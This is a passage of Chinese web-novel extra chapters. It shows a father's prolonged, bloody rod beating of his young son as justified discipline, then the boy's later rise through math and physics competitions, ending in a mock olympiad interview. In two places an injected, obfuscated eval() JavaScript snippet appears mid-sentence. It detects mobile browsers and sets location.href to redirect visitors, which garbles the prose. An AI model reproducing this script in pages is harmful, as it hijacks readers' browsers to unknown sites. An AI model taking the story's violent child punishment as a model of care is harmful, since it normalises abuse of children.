顾仲景手上的棍子又细又有韧劲,他手劲儿又大,胶棍在空中一甩后打在身上,瞬间会让人失去知觉,而后尖锐的疼痛才慢慢漫上来,像是要把人的皮肉切开。顾仲景一语不发,只挥舞着棍子沉默着,仿佛并不准备向男孩说教什么,只是打定主意要给他一顿难忘的惩戒,一棍接着一棍,急如骤雨,没有给男孩留下喘息的机会。 整个房间被沉默的气氛笼罩,本就是自己犯了错,顾梓聿没脸哭叫,生怕顾仲景听见了惹他生气,更要火上浇油,打得更狠,只敢在棍子着肉时身子抑制不住地轻颤。整个房间里只听得见男孩急促的喘息声,间或被一两声实在抑制不住的痛呼打破。 实在太痛了,痛到顾梓聿忍不住狠狠咬着自己的右小臂来转移注意力,生理性的泪水不知什么时候已经流了满脸,他太痛了,痛到全身都在抖,痛到脑子发空,不知道这场漫长的折磨什么时候才能结束。他知道这场惩罚躲不过,只一声不吭地默默忍受,希望自己的乖巧能够早点解了顾仲景的怒气,早点结束。 但顾仲景简直是铁石心肠不会心软似的,即使看着顾梓聿身后已经布满肿起的鞭痕,深红泛着紫,却始终无动于衷,只是一棍接着一棍,不带任何情绪。顾梓聿看不到男人的表情,可从这惩罚的力度他就能想象到他的怒气。他知道顾仲景的脾气,他不敢求饶,可这棍子实在太痛太难熬,一棍抽下来,他全身都在疼,那一张脸都疼得面目扭曲,惨白浸着汗水。 实在受不住了,他痛得呜咽一声,身体蜷缩,下意识地闪躲了一下,随即松手,直接摔在地上。 刚才他连腿上都挨了好几道,爬起来都吃力。他想着:也许顾仲景看在他被打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266213|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到爬不起来的份上,会饶过他这一次吧。 “…爸爸” 顾梓聿已经疼得慌了,但也不敢求饶,只敢哀声喊“爸爸”,他抬起头,嘴唇已经被咬破,惨白的脸上那双酷似他母亲的眼睛怯怯地望向顾仲景,狠狠地攥住了顾仲景的心:如果不是真的痛得怕了,他怎么敢露出这样的眼神。 但他低估了顾仲景的怒火。 “站起来,撑好。”棍子点了点桌子,那“笃笃”两声让顾梓聿不自觉地瑟缩了下。男人站在一旁,语调冰冷,半个字也不多说,没有半分心软停手的意思。 说到底,还是自己做错了。 顾仲景经年已久的积威根本不容许他兴起半点反抗的念头,顾梓聿痛得发抖,但还是顺从地试图积蓄力气,咬牙挪动痛得一抽一抽的双腿,先是撑着木地板跪起,而后才慢慢站直了身子。书架上时钟秒针转动的滴答声在一片寂静中被无限放大开来,慢慢地竟和他的心跳节奏融成一片。 他绝望地重新撑在书桌上,棍子挟着劲风抡起,熟悉的破风声又响起,疼痛如期而至,只是这次疼痛指数翻倍了。 “啊——” 实在、实在忍不住,顾梓聿痛得叫了出来,带着嘶哑的哭腔。棍子准确地、狠戾地落在之前的伤痕上,直接绽开皮肤,皮破肉烂。 “我错了,我真的错了,我不应该上课看书、不应该上课写作业、不应该不尊重老师…” 他早已汗流浃背,此时尽管汗水蛰着伤口,却因为疼的轻而没什么感觉:他已经被这不计数量、似乎永远没有尽头的惩罚吓破了胆——自己要挨到什么时候?到这棍子被打断吗?这种塑料胶棍除非被熔化,是不会断的! 太痛了太痛了。顾梓聿又一次试图避开棍子,换来的只是更重的一棍,力道大得,在空中“嗡”了一声,一棍下来,直接肿起了一道带着血点的伤痕。他疼得扭着身子,腿蹬着地面直发抖。 “爸饶了我!我真的知道错了,我不该撒谎,我不该撒谎!” 顾仲景沉默着,但手中的棍子却给了男孩一个明确的回答,那一棍似乎被激怒,狠狠甩在男孩臀腿之间,那样撕裂的疼,男孩哭叫出声,眼泪花了满脸。 “你是因为痛得受不了才认错的,还是你真的知道自己做错了?” 惩罚终于暂停。顾梓聿抓紧时间恢复体力,却不防听到这个问题。 “我打你,不是为了让你懂道理,这些道理你早就该懂了,我只是要让你知道,我很失望,顾梓聿,你让我非常失望!你现在身上有多痛,就跟我当时听到王老师说的那些话的心一样痛,就跟我发现你千方百计欺骗我、当着我的面还撒谎的时候一样的心痛!” 话音刚落,顾梓聿只感到铺天盖地的疼痛从身后袭来,从臀到腿犹如火烧刀割,他身上几乎没有一处完好的皮肉可以再承受这样力度的责打了,真的不行了,他试图逃避棍子:“我是真的知道错了,真的真的真的,我真的真的真的再也不敢撒谎了爸爸,永远不敢了,真的我发誓!” 男孩是真的到了极限,他剧烈地喘息着,眼睛红肿,已经撑不住自己的身体了,只能趴在桌子上,身后伤处一片狼藉。 “你早就应该懂事了,可为什么你还敢犯这样的错误?今天这顿打,痛吗?痛就给我记到骨子里!告诉你,这就是你犯错的代价!” “今天,你的行为让我对你失去了信任。之后的日子里,你是想赢回这份信任,或者是无所谓,都看你自己怎么选择。” 男孩趴在桌上,头埋在两臂之间,哭泣得很小心,静到只能听到他偷偷换气的呼吸声。这惩罚带给了他刻骨铭心的疼痛,可同时顾仲景的话竟比疼痛更令他恐惧:那些他说的关于“失望”、“失去信任”的话,就像在他脸上重重扇了一记耳光,让他羞愧痛悔。 “疼痛使人清醒。我希望你能从今天的惩罚中学会诚实。永远对我诚实。撒谎,没有下次。” “对你拿英文书做幌子的惩罚,”男人把《人类的秘密历史》放在桌子上,“把这本书前十页读完才准休息。” “坐着读。”他指了指那张长靠背的硬木椅子。 顾梓聿一边擦着眼泪一边哀求地看着他:想想也知道,带着那些伤坐下去会怎样。 “你可以选择坐着读,也可以选择挨一顿之后再坐着读。”男人挥了挥手中的长棍,响起“咻咻”的风声。 好。 顾梓聿一咬牙一闭眼就放任自己的身体自由落体,直接坐上去,但随即那剧烈的疼痛一下子把他的眼泪生生逼了出来,他用尽全身的力气才能不从那椅子上跳起来。木椅子原先是为了让他坐姿正确,以免不良的坐姿伤及腰部,现在倒成了一个绝佳的刑具,代替着顾仲景继续惩罚他。 “很简单的道理,也很公平,既然好好地你不愿意看,那我就只能选择这种粗暴的方式了。今天是第一次,我很好奇还会有下一次吗?” “…不会了,今天就是最后一次。”顾梓聿咬着唇低声回答。10页的内容不是很多,加上最开始还有排版的空白和占位置的图片,二十多分钟就看完了。但也就是这二十多分钟,顾梓聿有无数次想直接昏过去一了百了,冷汗一层又一层漫上来,痛得令他几乎失去知觉。 “我跟王老师聊过关于提前课程的事了,王老师说现在的课程对你来说太简单,推荐你去中学参加提前课程,我同意了。接下来你的时间管理如果敢再像这次这样,你知道等着你的会是什么。” “我不会像今天一样留手,是真的会把这里…”男人威胁地用手中长棍比划了一下男孩的伤处,“…打烂。” 也是在这次风波之后,顾梓聿参加了提前课程,这是他一系列绚烂的竞赛成绩的开端,不过,这些都是后话了。 33. 番外三 · 华章初启 顾仲景给的这一顿打,毫无疑问,刻骨铭心。 在顾梓聿的记忆中,上一次这么惨烈的疼痛,还是他刚到鹿城时,因为不想回家,偷偷溜到街心公园消磨时光的事情。 当时,顾仲景罕见地暴怒,沉默的皮带让小男孩揪着床单苦苦煎熬,从床上滚到床下,不管他如何痛哭叫喊,都换不来一点怜悯。他在疼痛里辗转哭嚎,委屈得绝望,不明白自己只不过是晚一点回家,又不是离家出走,为什么会招来如此严苛的惩戒。 在往后的日子里,他细细琢磨才明白,男人的愤怒来自于后怕,是对险些再一次失去他的心有余悸,这么小的孩子,走失夭折也不是不可能的事。也就是在那时,他真正意识到了自己对顾仲景有多重要。那一次之后,他忘记了几乎所有斯堪拉的往事,仿佛那一刻,生活才真正回到了正轨。 然而,这一次的惩戒与那时完全不同,顾仲景的愤怒来自于失望,是对他未来成长的过度期许和绝对重视。这顿打不仅是在惩罚他的谎言和瞒骗,更像是一次深深的拷问:你究竟想成为什么样的人?他不再被当做是一个普普通通的小学生来看待,人们给予他空间,在一旁观测,他这株珍稀植物,在得到了充足的阳光和养分后,究竟能疯长到多高? 第一次走进鹿城八中的初中部,顾梓聿内心充满了紧张和不安。顾仲景和前来交接的老师握手打招呼,然后把他推到施老师面前。 望着眼前盘着头发的中年女老师,他有点怯怯地:“老师好。” “你好,梓聿,我是施老师,欢迎你来到八中。”施老师的微笑很温暖,很感染人,顾梓聿也不由得扯了扯嘴角:他笑不出来,他太紧张了,尤其是顾仲景还在身边,他身后的伤还没好全呢,刚才爬楼梯的时候还扯着疼,尽管他努力想让自己不去在意那些痛处,但痛楚依然如影随形。 “是不是有点紧张?”施老师耐心地弯下腰来看着他。 “嗯…”当然是很紧张。在这个校园里,大家都穿着一样制式的校服,白色短袖衬衫,黑色长裤,而只有他穿着自己的衣服,一看就格格不入,而且周围的人都好高啊,感觉他的脑袋只能到别人的胳肢窝。? ?“没事的,不用紧张,我听你们王老师提过你的表现。小学课程太简单了是吧?今天你就跟我一起,听听看初中的数学课程,然后告诉老师,你觉得怎么样,好吗?” 顾梓聿想说不好:他想和自己的小伙伴在一起,姜明祎和张瑾妤都还在班里呢。这根本不应该是属于他的地方。他心生怨气,默默想着,如果当时不那么嚣张,上课的时候低调点,根本现在不需要在这里。 顾仲景太了解小孩的心思了,看他低头瘪嘴不说话就知道这小孩的别扭劲儿上来了。他是真想依着自己的脾气直接给他一脚,但鉴于还有外人在,他只是威胁性地轻提了一句:“顾梓聿…” 简直是应激性地,小男孩身后痛处一抽,他立马意识到自己现在还处在顾仲景“以观后效”的监视期,立马露出了最乖的笑容,点点头:“好的施老师,我知道了。” 施老师显然不知道父子间已经过上一招,她表面上看着很亲切,但其实心里有些担忧:八中和实验小学已经合作了好多年,但一般这样的项目吸收的都是五六年级的学生,虽然从顾梓聿做的摸底卷子上来看,他的数理思维能力是足够的,但是他的自理能力能不能允许他在这群初中生中快速适应? 顾仲景在教室外停住了脚步,看着小男孩在施老师的陪同下走进教室。施老师向讲台上的数学老师打了个招呼,边向讲台底下的初三生们做简单介绍:“这位是实验小学的顾梓聿,他今天会和大家一起听课,咱们大家给他点掌声好吗?” 小男孩背着个黑色书包,衣服上有着时下流行的卡通人物的图案。他站在讲台边,手攥着书包肩带,背挺得笔直,一双眼尾微微上挑的眼睛墨色氤氲,嘴唇抿得紧紧地,纤长的睫毛有些发颤,隐隐露出一丝紧张。 所有人的目光都投了过来,初三生们好奇地上下打量他,后排的几个男生窃窃私语,显然都有些惊讶。 顾梓聿点点头,说道:“大家好,我叫顾梓聿。” 初中生们很给面子地给他鼓掌,他在掌声中找到了自己的位置——就在讲台边上,单人单座。 最开始他还很紧张,坐在讲台边,感觉所有人的目光都在身后盯着自己,一直正襟危坐,完全没意识到顾仲景已经悄悄离开了。不过,随着课堂内容渐渐展开,顾梓聿很快地就投入其中——这一堂课是中考的第一轮复习课,从数列开始讲起。因为是复习课,所以进度很快,数学老师只是快速过了一遍知识点,就开始总结归纳各种题型。 这样的速度让顾梓聿第一次产生了兴奋和挑战自我的欲望,直到拿到最后发的随堂小测卷,那些不能一眼看出答案的问题让他突然有一种奇异的满足感,原本无趣的课堂变成了一个充满挑战与机遇的世界!上课之前,他还想着回去实验小学和朋友们一起玩,可现在,这里更有意思! “叮——”下课铃清脆地响起,顾梓聿第一次感到课堂时间竟然这么短。初三生们纷纷交卷,教室里瞬间活跃起来,有人伸懒腰,有人凑在一起讨论刚才的题目,还有人趁着课间趴在课桌上补觉。 顾梓聿拎起自己的水杯,朝教室角落的饮水机走去。 八中的饮水机和实验小学用的按钮式不一样,是旋钮控制的热水。他尝试拧了一下,没有拧开,又试了一次,还是没拧动。 身后传来一声笑:“小朋友,让一下?” 顾梓聿回头,看到一个很高的男生,歪着头看着他,水壶的挂绳套在手上,有一下没一下地甩着,脸上带着点戏谑的表情。 顾梓聿没说话,让到一旁看他操作。男生单手拧开水壶盖,撕了包速溶咖啡粉进去,熟练地接了一杯热水,看也没看顾梓聿一眼就回到自己座位上去了。 顾梓聿安静地回想着刚才看到的,重新伸手去拧。这次,他用了更大的力气,终于听到了“咔嗒”一声,打开了。 随堂小测的卷子很快就改出来了,顾梓聿没有令施老师失望,虽然是第一次接触的知识,但他却轻轻松松拿了满分。很自然地,他开始跟着初三生进行数学和物理的第一轮复习,没课的时候如果不回实验小学,他就一个人在图书馆里看书做题。 八中初中部的图书馆很大很漂亮,它伫立在校园一隅,是一栋历史悠久的红砖楼。绿幽幽的爬山虎沿着红墙攀延,蜿蜒缠绕着拱型的窗沿,不论四季都是一样的葱茏茂盛。图书馆一楼铺满了南洋风格的水洗地砖,是由碎石拼接成的马赛克图案,复古而温润。大厅中央摆放着几排长木桌,暗红色的木制书架整齐排列在四周。阳光透过高大的拱形窗洒落在桌面上,上课的时间,图书馆静悄悄地,常常只有顾梓聿和管理员常老师两人各自埋首书间。 弧形的木质楼梯通往二楼,视野变得相对狭窄。二楼的布局呈环形,书架更加高耸,藏书比起一楼的更对顾梓聿的胃口。地面铺着暗红色的木地板,踩上去会发出轻微的吱呀声。顾梓聿有时候不想做题,偷偷跑上二楼去看书,明明常老师听到了木地板的声音,她也当做没听见。就这样,顾梓聿看完了许多大部头,例如《战争与和平》、《卡拉马佐夫兄弟》、《安娜·卡列尼娜》等等。 再往上,是最神秘的三楼阁楼。楼梯变窄,直通天台,不过门是锁着的。从图书馆楼外看,天台是圆拱形的,四周围着低矮的栏杆。顾梓聿想,如果能爬到天台上乘凉,一定很有趣味,不过他始终未能如愿。 第一轮复习结束时,顾梓聿已经跟着学完了初中的数学和物理知识,也习惯了独来独往。虽然一个人走在比自己都高的人群中始终有些奇怪,但他非常享受这种一个人自由安排生活的时光。 八中初中部离实验小学很近,步行不过10分钟,他不在实小的日子里,姜明祎放学后常常来找他,有时也会带上明珺。回家的路上,姜明祎就像是顾梓聿专属的每日新闻一样,向他绘声绘色地描绘班级里发生的大事小情。顾梓聿很耐心地听着,他知道朋友的好心,想让自己不觉得被孤立,他也就笑纳这份好意。 时间过得很快,顾梓聿开始跟着初一的竞赛生学习高中的数学知识和数学竞赛的基础知识。代数、数论、组合、几何,顾梓聿依旧游刃有余、学的飞快,很短的时间内,他的数学水平又有了很大的跃升。 五年级时,姜明祎跟他无意间提起,班上还有同学要加入八中的提前课程,因此,当顾梓聿在机房看到傅尧和彭昱时,也不觉得惊讶了。 “嗨!”他朝着两人招了招手,脸上是真实的开心,“好久不见!” 施老师看他在数学竞赛上学有余力,让他继续跟着信息学的竞赛课,他又是一个人被一群初中生包围,幸好,熟人的加入让他倍感亲切。很快地,三个小孩形成了一个不可动摇的小圈子,在大多数人忙着绞尽脑汁时,顾梓聿、傅尧和彭昱总是能相互启发,迅速解开一道道难题。 没过多久,他们便开始在组里脱颖而出,成为了其他初中生关注的对象。尽管他们年纪最小,接触竞赛的时间最晚,但仍然凭借着惊人的天分让初中生们刮目相看。每当他们一起讨论时,周围的大孩子们总是会忍不住聚到他们身边,边听着边暗自产生强烈的竞争意识。 顾梓聿因为有更强的数学基础,做题时总能找到最简洁的解法。傅尧不如顾梓聿提前学了很多,偶尔会陷入困顿,但他不急不躁,总是依靠自己极强的理解力和专注度,一步步推进。彭昱虽然没有跟着八中上过提前课程,但是他妈妈为他请了私人竞赛教练,又亲力亲为地陪读,因此彭昱上机训练时,成绩有时竟比顾梓聿还要好。午休时,他们会一起去吃食堂,躲在角落里,讨论着今天遇到的难题。 顾梓聿和傅尧排队打饭回来,彭昱则拿出自己带的便当盒,很简约大气的设计,里面的菜色非常丰盛,营养搭配均衡。 傅尧看了一眼饭盒,低声问:“又是你妈妈亲手准备的?” 彭昱笑着点了点头:“清炒西蓝花、胡萝卜白果、酱烧三文鱼、西芹腰果虾仁,都是我爱吃的。她总是说,要吃得健康人才有精神,我们正是用脑的时候呢。” 何止呢,还有饭前水果和饭后甜点! 顾梓聿夸张地翻了个白眼,捅了捅傅尧:“你还问,有哪一次不是他妈妈准备的?这都是五星级的规格了,别羡慕嫉妒恨,吃你的吧!” 说完,他就开始狼吞虎咽——食堂的饭也不算差吧,也就是青菜没那么翠绿、肉没那么大块、没鱼也没虾,豆腐占比大。他皱了皱鼻头,心里有点酸酸的。 彭昱显然有些不好意思,把饭盒往桌子中间推了推:“其实我一个人也吃不了这么多,你们都尝尝。明天我让我妈做的分量大一点,我们可以一起吃!” 傅尧笑着道谢,他的餐盘里饭量明显小得多,因为他吃不习惯饭堂的口味。 虽然他相信,自己的妈妈是天底下最好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266214|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈妈,也像彭昱的妈妈爱彭昱一样爱着他,但他知道妈妈忙于主持慈善基金会的日常工作,自然没有办法为他日日下厨准备餐食。 “话说,你们俩听说过老肖的大学情史吗?”彭昱突然笑着开口,语气有些调皮。 “没。”傅尧惜字如金,但他的表情明显很好奇,想继续听的样子。 顾梓聿瞪大了眼睛:“你知道?说来听听!” 谁说男孩子们不八卦? 他们沉浸在这种几乎没有时间尽头的集训日子里,上机和做题成为了他们最深刻的记忆。无论是冬日寒冷的清晨,还是夏天炽热的阳光,他们在这条漫长的路上并肩作战。 日子一天天过去,三人的默契逐渐加深,友谊也日渐深厚。 “今天我们可以打篮球吗?”彭昱一边敲着键盘一边笑着提议。 “打什么球,等题做完再说。”傅尧冷面答道,但语气中透着一股子愉悦轻松。 “好啊,刚好明祎放学要过来找我,我们可以2V2!”顾梓聿干劲十足,“快点啊你们,我只剩一题了,否则等会儿打球时间不够。” 篮球场靠着学校后门,打球的时候,顾梓聿就注意到后门停着一辆黑色轿车,看上去并没有特别引人注目,但却带着一种低调奢华不容忽视的气场。他觉得有点眼熟,却又想不起为什么。姜明祎一颗球传过来,他一下就把这车忘在了脑后,左突右冲,晃过彭昱,直接上篮板。 “唉!”彭昱大喘气,眼见得是有点累了,他看了眼腕上的机械表,陀飞轮转地飞快,“还打吗?要不走吧,我请你们喝东西?” “行。”大家看了眼时间,都觉得有点晚了,收拾好东西就从前门出去。彭昱带头说要去八中对面那家很好喝的阿嫲手作奶茶店,到店里点单的时候,顾梓聿不经意回头看了一眼,发现那辆眼熟的黑色轿车一直跟着他们,无声无息地停在不远处。 ?? “我要个冰的抹茶奶绿,加红豆和椰果。”姜明祎说道,他看着顾梓聿一直盯着店外出神,推了推他,“你要什么呀?” “我要芋泥黑糖奶茶加布丁,常温,”顾梓聿头也没回,“我发现有辆车一直在跟着我们。” “嗯?”大家都被他吸引过来。顾梓聿手虚指着那辆黑车,“喏,就是那辆,刚才在篮球场后门那儿,现在跟着我们到这里来了,好奇怪,不会是坏人吧?” “我要一杯招牌手作,冰的,”傅尧先点了单,再轻描淡写地回应了一句:“啊,没事,是我家里的人来接我。” 哦!这就是熟悉感的由来!顾梓聿这才明白:但是一个普通的司机,在停车场等着就好了,为什么非得这么寸步不离地跟着呢?连去个奶茶店都不放心吗? 有点……不一般。 顾梓聿没有继续问下去。傅尧虽然平时看起来温吞随和,但有时会显露出一丝不言而喻的“高冷感”,拒人于千里之外。他能感觉到,在傅尧身后,似乎始终有着一层隐秘的东西,在无形地笼罩着他,默默无声地保护着他,仿佛从来不会让他承受任何风雨。 “我也要一杯招牌手作,小杯的就好了,”彭昱不好意思地解释道,“我怕喝太多回家吃不下晚饭,我妈妈会郁闷的。”?大家都善意地笑了。 彭昱掏出一张黑色卡片:“我买单。” “谢谢彭巨巨!”其余三个人搞怪地叫了一声,姜明祎看着彭昱刷卡时,大拇指紧紧摁着卡面,好奇地问了一句:“这卡长的挺特别?怎么还有一个电子显示屏?” “是,显示屏不算特别,这卡主要是安全性能比较高,它是生物识别的,指纹和指静脉的双重保险,只能我这个活人用,”彭昱挤了挤眼睛,压低声音小声说,“也就是说,要是把我手指头砍下来来识别指纹,这卡就锁死了。” “手指头砍下来”这六个字一出来,所有人都做呕吐状,面色痛苦,表情凄厉,吓得奶茶店的老板抬起头看了他们一眼:“怎么回事?你们这群小孩别老鬼叫鬼叫的啊,我手都抖了!” 直到六年级小升初考完的那个暑假,三人在八中的机房里,遇到了来自公园小学的方灵烨,至此,命运的齿轮开始咬合转动。三个人的小团体了多了一个话痨的皮猴子,中午一起在食堂吃饭的时候,几乎只能听见方灵烨的“叽里呱啦”。 傅尧忍受着这喋喋不休的噪音,低声问彭昱:“你最近怎么也开始吃食堂了?” 彭昱戳着饭盘里的饭,眼见地兴致不高:“我妈妈最近身体很不舒服,我就劝她安心休息。她现在回申城了,那里的医疗资源比较好。” 傅尧努力安慰对方:“嗯,阿姨休息一段时间会好起来的。” 彭昱低下头:“我想一起回去陪她,但她不同意,说这个暑假很关键,让我就待在这儿好好学习。” “是啊,”方灵烨只听到了后半句话,大大咧咧地插嘴,“这个假期是挺重要的,三个多月呢,老大高中物理都扫完了,开始跟竞赛了对吧?” “你又搞物竞去啦?”彭昱难以置信地看向顾梓聿,他不过是最近心思放家里了多一点,怎么忽略了这么多消息,“你不是要备赛数学的高中联赛吗?怎么还有精力去搞物竞??” “嗨,”顾梓聿装作若无其事地摆了摆手,“三个多月嘛,时间就像海绵里的水,挤挤就会有的。” 他这番装模作样可是让另外三人都大为不齿,傅尧直接上手掐住他的后脖颈,故意阴森森恶狠狠地说:“装,你再继续装!” 34. 番外四 · 物理奥赛得奖之后 专访第43届国际物理奥林匹克竞赛金牌第一名得主:天才少年背后的故事 采访人:《科学之光》记者李明? 受访人:国际物理奥林匹克竞赛金牌第一名得主顾梓聿 记者:首先,恭喜你在世界奥林匹克物理竞赛中夺得金牌,并且取得了第一名的好成绩!你现在的心情如何? 顾梓聿:谢谢!我现在的心情已经平复了不少,刚得知自己拿了第一名的时候,真的有点不敢相信,感觉像是在梦里。这一路走来经历了很多挑战,我现在能站在这里,更多的是感恩和激动。 记者:你是世界奥林匹克物理竞赛华纳历史上最年轻的金牌得主,也是最年轻的国家队选手。在此之前,全国物理奥赛要求的参赛者必须是高中生,而你却以初中生的身份破例参赛,拿到金牌并进入国家队。你是如何做到的? 顾梓聿:确实,物理奥赛对年龄有限制,我能够破例参赛主要是因为学校老师向组委会提交了申请,证明我的物理水平已经达到了竞赛要求。在这之前,我也参加了几个物理类的竞赛,并拿到了很好的成绩,最终组委会决定破例让我参赛。 记者:那你在和比自己年长的选手竞争时,有没有感受到压力? 顾梓聿:还好吧,一开始确实会有一点压力,毕竟其他选手不仅年龄更大,经验也更丰富。但后来我告诉自己,物理是公平的,比赛考察的是理解能力、逻辑思维和创造力,而不是年龄,只要专注于解题,年龄的差距其实没有那么重要,我的优势是好奇心和没有必须要拿奖的心理负担吧。而且,准备竞赛的过程中,我身边的同学也都是比我年长的学长学姐,我已经习惯了。 记者:你去索伦参赛,感觉如何?那边的饮食和生活习惯你还适应吗? 顾梓聿:总的来说,去索伦参赛的经历非常难忘!虽然我们是去参加比赛,但在那里的氛围和文化交流也给我留下了深刻的印象,一切都非常顺利,而且充满了新鲜感。 关于饮食和生活习惯,刚开始确实有一些不适应。尤其是食物方面,索伦的饮食和我们这边的差异还是挺大的,我个人不太习惯,为了不影响比赛状态,我通常会选择清淡一些的食物,避免过于油腻或者重口味的东西。 至于生活习惯,刚到索伦时,时差问题让我有些疲惫,但慢慢适应了之后,整体感觉还是挺舒适的。赛场上的氛围非常严谨且充满挑战,大家都很积极也很专业。虽然语言和文化上有些差异,但更让我感受到的是来自不同国家的选手们的热情和友谊,大家都是为了同一个目标而努力,所以一切障碍都变得不那么重要了。 比赛之外,我们也有机会参观了很多著名的科研机构和大学,和来自世界各地的天才少年们交流,讨论各自感兴趣的科学话题,这让我不仅增长了见识,也获得了很多新的启发。 总的来说,这次参赛不仅让我收获了比赛的荣誉,更让我有机会感受了不同文化和科学氛围的碰撞。对我来说,真的是一次充满挑战和成长的经历。 记者:你是从什么时候开始对物理感兴趣的? 顾梓聿:大概是从小学吧。我小时候喜欢看一个教小朋友用家常东西做实验的电视频道,还有一直定《我们爱科学》、《少年科技》之类的杂志,自己在家里造那种简易的电动机之类的。后来我开始上提前课程,学习初中的物理知识,老师推荐我们看《时间简史》,虽然很多内容不太懂,但它让我对宇宙和自然规律产生了浓厚的兴趣。后来正式接触物理竞赛课程后,我发现自己特别喜欢用数学推导和逻辑思考来理解物理现象,这让我对物理的兴趣越来越浓厚。 记者:听说你在物理国家队集训期间仍然坚持做数学奥赛题,甚至还请假去参加数学奥赛 IMO 决赛,最终获得了全国一等奖,并成功入选数学国家集训队最终小名单。这是真的吗?你是如何平衡物理和数学的?这两者之间会相互促进吗? 顾梓聿:是的,确实有这么回事(笑)。比起物理,我更喜欢数学,数学是所有基础学科的根基嘛。刚开始的时候,我也是在数竞组花的时间比较多。这主要是一个赛制时间安排的问题,其实,如果当时数学奥赛是在物竞之前举行的话,我可能不会那么拼命地去准备物竞。 数学和物理的联系非常紧密,很多物理问题的本质其实是数学问题,比如微积分在力学和电磁学中的应用,群论在量子力学中的作用等等,数学的训练让我在物理竞赛中能够更快地理解和构造解法,而物理的直觉也让我在数学问题上有更多的灵感。 至于如何平衡,其实并没有一个固定的时间规划,我一般是根据阶段性的目标来调整。有时候数竞课程比较紧张,就暂时减少物理的时间,等到进度稳定了,再补上物理。我觉得最重要的是找到自己的节奏,并且享受这个学习的过程,而不是把它当成单纯的任务。 数学国家集训队是有两轮选拔的,第一个阶段的培训时间完全和物理国家队重合,所以我没有参加集训,只参加了最后的考试。第二阶段实在没办法缺席,我就跟物理组这边请了几天假,当然最后结果是好的,我也很开心。 记者:我听说在比赛场上还有个有趣的轶事。当时,你和队友赴索伦参加物理奥赛时,一名索伦队的带队教练还特意向你们打听,认不认识华纳一个在数学竞赛方面很有名的“Gu”。结果当他得知“Gu”就是你时,他竟然还疑惑地问你是不是走错了赛场?当时你是什么反应? 顾梓聿:(大笑)哈哈,是的,这件事当时确实挺有趣的。我还记得那位索伦队的教练满脸疑惑地看着我,反复确认是不是同一个“Gu”,因为他之前一直听说我是数学竞赛选手,没想到会在物理竞赛的赛场上见到我。 当时我表面上挺淡定的,和他解释说,其实数学和物理一直是互通的,我很喜欢数学,但同时也很热爱物理。而且物理竞赛本身也需要很强的数学能力,两者之间并不冲突。他听完之后还半开玩笑地说:“看来我们以后在数学和物理竞赛上都要小心你了。”这句话让我哭笑不得,但也觉得挺开心的,毕竟能在不同领域都留下点“痕迹”让别人记住,还是挺值得骄傲的(笑)。 不过其实,这是国家队教练的安排,当时他们对比了一下,物理国家队的整体实力相对较弱,如果我只能选择参加一个,教练们更推荐我去物理竞赛,希望能为国家争取更好的成绩。当然,这个决定对我来说也不容易,因为我个人真的是更喜欢数学。但从长远来看,物理是更偏向实际应用的学科,而数学能力也可以在物理竞赛中发挥重要作用。所以最终我接受了这个建议,专注于物理竞赛,结果也证明这是一个正确的选择。 记者:你真的很优秀(笑)。在竞赛准备过程中,最难的一道题或者最困难的挑战是什么? 顾梓聿:这次比赛最难的一道题对我来说是理论题的最后一部分,它涉及到非线性光学和复杂的微分方程,虽然以前接触过类似的内容,但要在短时间内推导出完整的解法,还是非常具有挑战性的。我当时尝试了几种方法,甚至一度陷入卡壳,但最终还是冷静下来,重新分析题目,找到了突破口。 记者:在这次竞赛中,你认为自己获胜的关键是什么? 顾梓聿:我觉得主要有两个方面,一是知识的积累,二是心理素质。物理竞赛不仅仅是考察知识,更是考察理解和应用能力。我平时会做很多经典的竞赛题,并且尝试自己推导不同的方法。同时,心理素质也很重要,比赛过程中,时间紧迫,很多选手都会感到焦虑,如果能保持冷静,就能更高效地解决问题。 记者:在备赛过程中,你是如何平衡学习和生活的?是什么动力支撑你一直走到最后的呢? 顾梓聿:其实没有什么平衡可言,宇宙是公平的,每个人的时间都是有限的,我如果想做到最好,只能全力以赴。备赛的确很辛苦,每天都要花大量时间学习和练习,我选择了这条路,就意味着要投入大量的时间和精力,取舍是必然的。所以相应的,我在日常生活中是一个很无趣的人,没有什么娱乐爱好,像身边的同龄人可能会追星、看剧看电影、看演唱会比赛之类的,这些事情我都没做过。小时候我很喜欢看小说,武侠的、冒险的、奇幻的、科幻的,但现在也没时间了。 但是大家千万不要学我啊,有时候适当放松反而能提高学习效率,以上只是我觉得适合自己的节奏,但每个人的潜能都不一样。 至于动力?肯定不是靠成就感,因为这点成就感太薄弱了。 最开始我愿意做竞赛肯定是因为我喜欢这个东西。我记得那个时候我还在读小学,但平时是去八中初中部上课,老师在台上讲几何题的时候,我可以不用草稿纸直接做。然后在做早操或者坐公交车,只要是闲着的时候,都会在脑子里想那些问题,推导公式也很有意思。 那时候的兴趣是最纯粹的,就是单纯地觉得好玩,觉得世界充满了有趣的规律,等着我去发现。 但是做竞赛是另一回事儿。竞赛不仅仅是兴趣,它需要系统性的训练、长时间的思考,还有不断地挑战更难的题目,甚至经历失败。比如在国家集训队的训练里,面对一道难题,可能尝试的方法行不通,推导到一半发现错误,甚至一道题能卡好几天。这种高强度的训练真的很累,也有过怀疑自己的时候,如果靠成就感来支撑,早就放弃了。 